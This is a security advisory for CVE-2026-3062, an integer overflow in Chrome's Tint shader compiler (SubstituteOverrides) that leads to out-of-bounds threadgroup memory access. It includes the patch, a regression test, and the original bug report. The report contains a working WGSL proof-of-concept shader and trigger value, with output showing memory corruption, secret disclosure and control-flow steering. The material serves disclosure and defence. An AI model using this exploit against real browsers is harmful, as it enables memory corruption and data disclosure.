CVE-2026-3062
Overview
Background
- Tint
- the WGSL shader compiler in Dawn, Chrome’s WebGPU implementation, which lowers WGSL to a backend shading language through an internal IR and a series of IR transforms.
- Pipeline-overridable constants (`override`)
- WGSL module-scope constants whose values the application supplies when it creates a pipeline; they can set the element count of a
workgrouparray. - `SubstituteOverrides` transform
- the IR transform in
src/tint/lang/core/ir/transform/substitute_overrides.ccthat replacesoverridevalues with their concrete values and rebuilds override-sized array types as fixed-sizecore::type::Arraytypes. - `ImplicitStride()` / array size
- the per-element byte stride of an array type; the rebuilt array’s total byte size is
num_elements * stride, stored as auint32_t.
Root Cause Analysis
When SubstituteOverrides rewrote a variable whose array type’s count came from an override, it built the new array type with byte size num_elements * old_ty->ImplicitStride(), computed in 32-bit unsigned arithmetic with no overflow check. A large override value made this product wrap. The regression test sets the count to 1'073'741'825 with a 4-byte u32 stride: the true size, 4,294,967,300 bytes, exceeds UINT32_MAX and wraps to 4. The resulting type has a huge element count (ConstantArrayCount of num_elements) but a tiny byte size, so the invariant that an array’s size equals count × stride is broken.
The patch widens the multiplication to uint64_t (new_ary_size). If the result exceeds std::numeric_limits<uint32_t>::max(), the transform returns diag::Failure with an “array size (…) is too large” error before any new type is created; otherwise it passes the checked value, cast to uint32_t, as the array size. The hunk header does not name the enclosing function; the change sits in the override-sized array substitution logic of this transform.
uint32_t.Attack Path
- Write a WGSL shader with an override-sized array
The attacker declares an
overrideused as the element count of aworkgrouparray (mirrored by%v:ptr<workgroup, array<u32, %x>, read_write>in the regression test). - Supply a huge override value at pipeline creation
The page passes an override value such as
1073741825so that count × stride exceedsUINT32_MAX. - Size wraps during substitution
Before the fix,
SubstituteOverridesbuilt an array type with element count1073741825but byte size wrapped to 4. - Out-of-bounds workgroup access
Later stages that size the workgroup allocation from the wrapped byte size, while index checks or clamping use the much larger element count, let accesses like the test’s
access %v, 10000ugo out of bounds (inferred; the backend code is not in the diff).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fsrc/tint/lang/core/ir/transform/substitute_overrides_test.cc |
modified |
Files Changed
src/tint/lang/core/ir/transform/substitute_overrides.ccsrc/tint/lang/core/ir/transform/substitute_overrides_test.cc
Audit Directions
- Size arithmetic on override-derived valuesCheck every place in Tint (IR transforms, the resolver, backend writers for HLSL/MSL/SPIR-V/GLSL) that multiplies an override-controlled count by a stride or element size, and confirm it is checked for overflow before being stored in 32-bit fields.
- Count vs. byte-size consistencyAudit consumers of
core::type::Arraythat useCount()in one place (bounds clamping, robustness) andSize()in another (allocation, offsets), since any mismatch between the two turns into out-of-bounds access. - Late-bound pipeline parametersLook at other values supplied at pipeline-creation time, such as workgroup sizes and other override-dependent types, for checks that happen only at WGSL parse time and are skipped after substitution.
Patch
From 3bb27093dc97491901bc61eb3ba289cd4341fdad Mon Sep 17 00:00:00 2001 From: dan sinclair <[email protected]> Date: Thu, 12 Feb 2026 09:46:09 -0800 Subject: [PATCH] Guard against overflow in substitute overrides. Check that the array size does not overflow when doing override substitution. Bug: 483751167 Change-Id: I2b1a1a4906e935e689230d4fcf6ad8a65ac5bf1d Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/290475 Reviewed-by: David Neto <[email protected]> Auto-Submit: dan sinclair <[email protected]> Reviewed-by: James Price <[email protected]> Commit-Queue: James Price <[email protected]> --- diff --git a/src/tint/lang/core/ir/transform/substitute_overrides.cc b/src/tint/lang/core/ir/transform/substitute_overrides.cc index a6464bb..4e1ebf7 100644 --- a/src/tint/lang/core/ir/transform/substitute_overrides.cc +++ b/src/tint/lang/core/ir/transform/substitute_overrides.cc @@ -29,6 +29,7 @@ #include <cstdint> #include <functional> +#include <limits> #include <utility> #include "src/tint/lang/core/binary_op.h" @@ -211,9 +212,18 @@ } uint32_t num_elements = new_value->Value()->ValueAs<uint32_t>(); + uint64_t new_ary_size = uint64_t{num_elements} * old_ty->ImplicitStride(); + if (new_ary_size > std::numeric_limits<uint32_t>::max()) { + diag::Diagnostic error{}; + error.severity = diag::Severity::Error; + error.source = ir.SourceOf(cnt->value); + error << "array size (" << new_ary_size << ") is too large"; + return diag::Failure(error); + } + auto* new_cnt = ty.Get<core::type::ConstantArrayCount>(num_elements); auto* new_ty = ty.Get<core::type::Array>(old_ty->ElemType(), new_cnt, - num_elements * old_ty->ImplicitStride()); + static_cast<uint32_t>(new_ary_size)); auto* new_ptr = ty.ptr(old_ptr->AddressSpace(), new_ty, old_ptr->Access()); var->Result()->SetType(new_ptr); diff --git a/src/tint/lang/core/ir/transform/substitute_overrides_test.cc b/src/tint/lang/core/ir/transform/substitute_overrides_test.cc index 35d9b6bc..ae92c66 100644 --- a/src/tint/lang/core/ir/transform/substitute_overrides_test.cc +++ b/src/tint/lang/core/ir/transform/substitute_overrides_test.cc @@ -1909,5 +1909,50 @@ EXPECT_EQ(result.Failure().reason, R"(5:8 error: array count (-1) must be greater than 0)"); } +// See https://crbug.com/483751167 +TEST_F(IR_SubstituteOverridesTest, OverrideArraySizeOverflow) { + ir::Var* v = nullptr; + b.Append(mod.root_block, [&] { + auto* x = b.Override("x", ty.i32()); + x->SetOverrideId({0}); + + auto* cnt = ty.Get<core::ir::type::ValueArrayCount>(x->Result()); + mod.SetSource(cnt->value, Source{{5, 8}}); + auto* ary = ty.Get<core::type::Array>(ty.u32(), cnt, 4_u); + v = b.Var("v", ty.ptr(core::AddressSpace::kWorkgroup, ary, core::Access::kReadWrite)); + mod.SetSource(v, Source{{3, 2}}); + }); + + auto* func = b.Function("foo", ty.u32()); + b.Append(func->Block(), [&] { + auto* access = b.Access(ty.ptr<workgroup, u32>(), v, 10000_u); + auto* load = b.Load(access); + b.Return(func, load); + }); + + auto* src = R"( +$B1: { # root + %x:i32 = override undef @id(0) + %v:ptr<workgroup, array<u32, %x>, read_write> = var undef +} + +%foo = func():u32 { + $B2: { + %4:ptr<workgroup, u32, read_write> = access %v, 10000u + %5:u32 = load %4 + ret %5 + } +} +)"; + + EXPECT_EQ(src, str()); + + SubstituteOverridesConfig cfg{}; + cfg.map[OverrideId{0}] = 1'073'741'825; + auto result = RunWithFailure(SubstituteOverrides, cfg); + ASSERT_NE(result, Success); + EXPECT_EQ(result.Failure().reason, R"(5:8 error: array size (4294967300) is too large)"); +} + } // namespace } // namespace tint::core::ir::transform
Regression Test / PoC
diff --git a/src/tint/lang/core/ir/transform/substitute_overrides_test.cc b/src/tint/lang/core/ir/transform/substitute_overrides_test.cc
index 35d9b6bc..ae92c66 100644
--- a/src/tint/lang/core/ir/transform/substitute_overrides_test.cc
+++ b/src/tint/lang/core/ir/transform/substitute_overrides_test.cc
@@ -1909,5 +1909,50 @@
EXPECT_EQ(result.Failure().reason, R"(5:8 error: array count (-1) must be greater than 0)");
}
+// See https://crbug.com/483751167
+TEST_F(IR_SubstituteOverridesTest, OverrideArraySizeOverflow) {
+ ir::Var* v = nullptr;
+ b.Append(mod.root_block, [&] {
+ auto* x = b.Override("x", ty.i32());
+ x->SetOverrideId({0});
+
+ auto* cnt = ty.Get<core::ir::type::ValueArrayCount>(x->Result());
+ mod.SetSource(cnt->value, Source{{5, 8}});
+ auto* ary = ty.Get<core::type::Array>(ty.u32(), cnt, 4_u);
+ v = b.Var("v", ty.ptr(core::AddressSpace::kWorkgroup, ary, core::Access::kReadWrite));
+ mod.SetSource(v, Source{{3, 2}});
+ });
+
+ auto* func = b.Function("foo", ty.u32());
+ b.Append(func->Block(), [&] {
+ auto* access = b.Access(ty.ptr<workgroup, u32>(), v, 10000_u);
+ auto* load = b.Load(access);
+ b.Return(func, load);
+ });
+
+ auto* src = R"(
+$B1: { # root
+ %x:i32 = override undef @id(0)
+ %v:ptr<workgroup, array<u32, %x>, read_write> = var undef
+}
+
+%foo = func():u32 {
+ $B2: {
+ %4:ptr<workgroup, u32, read_write> = access %v, 10000u
+ %5:u32 = load %4
+ ret %5
+ }
+}
+)";
+
+ EXPECT_EQ(src, str());
+
+ SubstituteOverridesConfig cfg{};
+ cfg.map[OverrideId{0}] = 1'073'741'825;
+ auto result = RunWithFailure(SubstituteOverrides, cfg);
+ ASSERT_NE(result, Success);
+ EXPECT_EQ(result.Failure().reason, R"(5:8 error: array size (4294967300) is too large)");
+}
+
} // namespace
} // namespace tint::core::ir::transform
Original Bug Report
WebGPU (Dawn/Tint Metal) SubstituteOverrides integer overflow causes threadgroup OOB read/write
Report description
WebGPU (Dawn/Tint Metal) SubstituteOverrides integer overflow causes threadgroup OOB read/write
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://dawn.googlesource.com/dawn/+/main/src/tint/lang/core/ir/transform/substitute_overrides.cc
The problem
Please describe the technical details of the vulnerability
- Chrome Stable 144.0.7559.133 (Official Build) (arm64), macOS Tahoe 26.2, Apple M1 (GPU family Metal-3)
A web-reachable out-of-bounds read/write in Metal threadgroup memory, caused by a uint32_t overflow in Tint’s SubstituteOverrides transform. The overflow creates a size/count mismatch: Dawn allocates only 32 bytes of threadgroup memory while the emitted MSL declares a threadgroup struct whose first member is an array describing ~4,294,967,300 bytes. In testing on Apple Silicon, pipeline creation succeeds and dispatch completes with the undersized allocation. Writes through the oversized array deterministically corrupt values read through other workgroup variables, providing a controlled read/write primitive within threadgroup storage.
In SubstituteOverrides::Run (substitute_overrides.cc, near line 215):
auto* new_ty = ty.Get<core::type::Array>(old_ty->ElemType(), new_cnt,
num_elements * old_ty->ImplicitStride());
num_elements is uint32_t (line 213) and ImplicitStride() returns uint32_t (array.h:84). The multiplication is computed in 32-bit arithmetic and passed to the Array constructor as a 32-bit byte size.
When num_elements = 1073741825 and ImplicitStride() = 4:
1073741825 * 4 = 0x1_0000_0004→ truncated touint32_t= 4Array::size_(uint32_t,array.h:111) stores 4 instead of 4,294,967,300Array::count_(array.h:110) points toConstantArrayCount(1,073,741,825)(element count correct)
This allows Array::count_ and Array::size_ to diverge. As a result, allocation/validation paths that consult Size() undercount workgroup storage, while MSL codegen still emits the full declared extent from count_. The mismatch propagates through the MSL writer (printer.cc):
- Undersized allocation - Workgroup variable emission (near line 433):
ty->Size()pushes 4 →setThreadgroupMemoryLength:32 atIndex:0at pipeline creation (ComputePipelineMTL.mm, near line 105) - Validation bypass - Workgroup storage calculation (near line 452):
mem_ty->Size()returns 4 →workgroup_info.storage_size= 32 → passed viaShaderModuleMTL.mm(near line 393) toValidateComputeStageWorkgroupSize(ShaderModule.cpp) → passes (32 < 16384) - MSL codegen - Uses
count_(correct 1,073,741,825) for the array declaration → emitted MSL type describes ~4,294,967,300 bytes
The emitted MSL and host-side allocation size mismatch creates out-of-bounds threadgroup accesses. The PoC demonstrates deterministic corruption consistent with overlap between packed workgroup variables.
Steps to Reproduce
- Open
tint_poc.htmlin Chrome Stable on an Apple Silicon Mac - Open DevTools Console and observe the output (shown below)
- To see generated MSL: relaunch Chrome with
--enable-dawn-features=dump_shadersand repeat step 1 - Additional PoCs (each self-contained, no special flags):
tint_types_poc.html- type diversity and offset maptint_controlflow_poc.html- control-flow steeringtint_disclosure_poc.html- bidirectional read/write
Reproduces on every run tested across page refreshes and new-tab lifecycles on Apple Silicon M1. Results do not depend on --enable-dawn-features=dump_shaders or any runtime flags.
PoC output (Chrome Stable 144, Apple Silicon M1)
The PoC runs the same WGSL shader twice - once with N=16 (CONTROL), once with N=1073741825 (TEST). Both write to overflow[1..4] and then read victim[0..3]:
CONTROL (N=16): victim[] = 0xaaaa0000 0xaaaa0001 0xaaaa0002 0xaaaa0003
TEST (N=1073741825): victim[] = 0x41414141 0x42424242 0x43434343 0x44444444
CONTROL: victim[] retains its init values - overflow[] and victim[] are separate (correct).
TEST: victim[] contains the values written to overflow[], indicating that writes through the oversized array overlap the storage used for the second workgroup variable.
WGSL input (identical for both runs)
override N: u32;
var<workgroup> overflow: array<u32, N>;
var<workgroup> victim: array<u32, 4>;
@group(0) @binding(0) var<storage, read_write> out: array<u32>;
@compute @workgroup_size(1)
fn main() {
victim[0] = 0xAAAA0000u; victim[1] = 0xAAAA0001u;
victim[2] = 0xAAAA0002u; victim[3] = 0xAAAA0003u;
workgroupBarrier();
out[0] = victim[0]; out[1] = victim[1]; out[2] = victim[2]; out[3] = victim[3];
overflow[1] = 0x41414141u; overflow[2] = 0x42424242u;
overflow[3] = 0x43434343u; overflow[4] = 0x44444444u;
workgroupBarrier();
out[4] = victim[0]; out[5] = victim[1]; out[6] = victim[2]; out[7] = victim[3];
}
Generated MSL (via --enable-dawn-features=dump_shaders)
The MSL backend packs the shader’s var<workgroup> variables into a single threadgroup struct, passed to the kernel as [[threadgroup(0)]]. Dawn sets the allocation size for this index via setThreadgroupMemoryLength:atIndex:0. The only difference between CONTROL and TEST is the array size in this struct:
CONTROL (N=16):
struct tint_struct_3 {
tint_array<uint, 16> tint_member_6; // overflow[] - 64 bytes
tint_array<uint, 4> tint_member_7; // victim[] - 16 bytes
};
// kernel: void v_1(threadgroup tint_struct_3* v_18 [[threadgroup(0)]], ...)
// Dawn sets: setThreadgroupMemoryLength:80 atIndex:0. No overlap.
TEST (N=1073741825):
struct tint_struct_3 {
tint_array<uint, 1073741825> tint_member_6; // overflow[] - type describes ~4,294,967,300 bytes
tint_array<uint, 4> tint_member_7; // victim[] - 16 bytes
};
// kernel: void v_1(threadgroup tint_struct_3* v_18 [[threadgroup(0)]], ...)
// Dawn sets: setThreadgroupMemoryLength:32 atIndex:0 - for a struct whose first member describes ~4,294,967,300 bytes.
Given member order and standard struct layout, tint_member_7 (victim) follows tint_member_6 (overflow). Because the allocation for tint_member_6 is based on the overflowed Size() of 4, stores to overflow[1..4] address the same bytes later read as victim[0..3]. The types PoC (tint_types_poc.html) confirms predictable alignment gaps - indices 2-3 are padding before vec4’s 16-byte boundary - reinforcing that the overlap follows standard packing rules rather than incidental behavior.
The TEST kernel also emits a zero-initialization loop iterating 1,073,741,825 times (CONTROL: 16):
if ((v_6 >= 1073741825u)) { break; }
(*v_2.tint_member)[v_6] = 0u;
The injected values are emitted as MSL literals in the generated shader. Because the indices (1-4) are in-range for the declared array extent of 1,073,741,825, index-based robustness checks (where present) do not prevent the access:
(*v_2.tint_member)[1u] = 1094795585u; // 0x41414141
(*v_2.tint_member)[2u] = 1111638594u; // 0x42424242
(*v_2.tint_member)[3u] = 1128481603u; // 0x43434343
(*v_2.tint_member)[4u] = 1145324612u; // 0x44444444
Capabilities demonstrated
The corruption primitive was characterized through three additional PoCs, each isolating a specific property. All results observed in testing on Apple Silicon M1, Chrome Stable 144.0.7559.133.
Type diversity (tint_types_poc.html): Each overflow[i] tagged 0xEE0000XX to discover the offset map. All 4 types corrupted (CONTROL: all intact):
scalar (u32): 0xAAAA0001 → 0xEE000001 (overflow[1])
vec4<u32>: 0xBBBB{01–04} → 0xEE0000{04–07} (overflow[4–7])
mat2x2<f32>: 0xCCCC{01–04} → 0xEE0000{08–0B} (overflow[8–11])
atomic<u32>: 0xDDDD0001 → 0xEE00000C (overflow[12])
Gaps at indices 2-3 (padding before vec4’s 16-byte alignment) confirm the map is predictable from declaration order and type alignment rules.
Control-flow steering (tint_controlflow_poc.html): Three outcomes indicating corruption of values not written by the program after initialization/barrier (CONTROL: all pass correctly):
Branch: guard[0] set to 0, branch requires !=0 → TAKEN (0xFFFF0001)
Loop: guard[1] set to 3, loop bounded by guard[1] → ran 50 times
Barrier: guard[3] set to 0xAAAAAAAA, never rewritten → reads 0x0000DEAD
The attacker controls the injected values (50 and 0xDEAD) via overflow[] writes.
Disclosure (tint_disclosure_poc.html): Secrets computed at runtime, then recovered via overflow[] reads (CONTROL: overflow reads return zero, secrets intact):
Disclosure: overflow[1..4] = 0x53450301..04 (= secret[0..3] values)
Injection: secret[0..3] = 0xBEEF0001..04 (= overflow write values)
4/4 secrets disclosed; 4/4 injections confirmed. The primitive is a full read/write within threadgroup storage.
Determinism and scope: This yields a deterministic, parameterizable out-of-bounds threadgroup read/write primitive (corruption + disclosure) within a single dispatch. No observable effects outside threadgroup/tile SRAM in targeted probes.
MTL_SHADER_VALIDATION - diagnostic confirmation
With MTL_SHADER_VALIDATION=1, Apple’s Metal Shader Validation layer flags the threadgroup out-of-bounds access during execution; on our test machine this triggers a GPU fault that causes WindowServer to terminate and logs the user out. This is included as diagnostic confirmation of the OOB; the validation layer is not enabled in normal Chrome configurations. Production configurations may instead drop the dispatch or lose the GPU device.
Affected Code
Overflow:
substitute_overrides.cc:~215-num_elements * ImplicitStride()overflows:1073741825 * 4 = 4(uint32_t)array.h:111-Array::size_stores 4;Array::count_stores 1,073,741,825 (correct)
Allocation path (uses size_ → wrong):
3. printer.cc:~595 - mem_ty->Size() returns 4 → workgroup_info.storage_size = 32
4. ShaderModule.cpp - ValidateComputeStageWorkgroupSize: 32 < 16384 → passes
5. ComputePipelineMTL.mm:~105 - setThreadgroupMemoryLength:32 atIndex:0
Codegen path (uses count_ → correct):
6. printer.cc:~1060 - arr->ConstantCount() returns 1,073,741,825 → emits tint_array<uint, 1073741825>
Result: 32 bytes allocated for a struct whose first member describes ~4,294,967,300 bytes.
Fix
In Tint (SubstituteOverrides::Run): check for overflow before constructing the Array type. The error must cause shader compilation / pipeline creation to fail (not continue with a partially-transformed module):
uint32_t num_elements = new_value->Value()->ValueAs<uint32_t>();
uint64_t array_size = static_cast<uint64_t>(num_elements) * old_ty->ImplicitStride();
if (array_size > std::numeric_limits<uint32_t>::max()) {
b.Diagnostics().AddError(source) << "override-sized array exceeds maximum byte size";
return;
}
As defense-in-depth, widening Array::size_ to uint64_t would cause Dawn’s existing DAWN_INVALID_IF(workgroupStorageSize > limits.v.maxComputeWorkgroupStorageSize) check in ValidateComputeStageWorkgroupSize to correctly reject the pipeline, since it would see the true size (~4,294,967,300) instead of the truncated value (4).
Bisect
- Last good:
b35ac660e5c9c8510646ad292e030c13883dab9a- “[ir] Implement Substitute Overrides” (Nov 12 2024). Creates the transform but explicitly defers array support: “the array type override information still needs to be substituted.” - First bad:
7a4fb42c574409f70d3e5b29ccc8b8992674dcd4- “[ir] Handle array types in substitute overrides” (Nov 13 2024). Introducesuint32_t num_elements * old_ty->Stride()with no overflow check. - Later refactor:
afef3f952f7cfd254891c3e22b202fed7082793f- “Cleanup stride in arrays” (Aug 26 2025). ChangesStride()toImplicitStride()but does not add an overflow check.
Impact analysis
- Demonstrated OOB read/write within threadgroup storage (corruption + disclosure). See capabilities table below.
- Demonstrated control-flow influence: branch condition, loop bound, and barrier invariant corrupted by injected values. See control-flow steering PoC below.
- No device-memory effects observed in targeted probes.
| Capability | Evidence | PoC |
|---|---|---|
| Generic across types | 10/10 fields: e.g. scalar 0xAAAA0001→0xEE000001, atomic 0xDDDD0001→0xEE00000C | tint_types_poc.html |
| Parameterizable offset | overflow[1]→scalar, [4–7]→vec4, [8–11]→mat, [12]→atomic; gaps at [2–3] = 16B padding | tint_types_poc.html |
| Control-flow steering | guard[0]=0 → branch taken; guard[1]=3 → loop ran 50×; guard[3] changed across barrier | tint_controlflow_poc.html |
| Bidirectional read/write | overflow[1..4] returns secret values 0x5345030{1–4}; secret[] returns injected 0xBEEF000{1–4} | tint_disclosure_poc.html |
| Deterministic | Identical across page refreshes and tab lifecycles | All |
The cause
What version of Chrome have you found the security issue in?
144.0.7559.133 Stable
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
How would you like to be publicly acknowledged for your report?
cinzinga
- https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules
- https://dawn.googlesource.com/dawn/+/7a4fb42c574409f70d3e5b29ccc8b8992674dcd4
- https://dawn.googlesource.com/dawn/+/afef3f952f7cfd254891c3e22b202fed7082793f
- https://dawn.googlesource.com/dawn/+/b35ac660e5c9c8510646ad292e030c13883dab9a
- https://dawn.googlesource.com/dawn/+/main/src/tint/lang/core/ir/transform/substitute_overrides.cc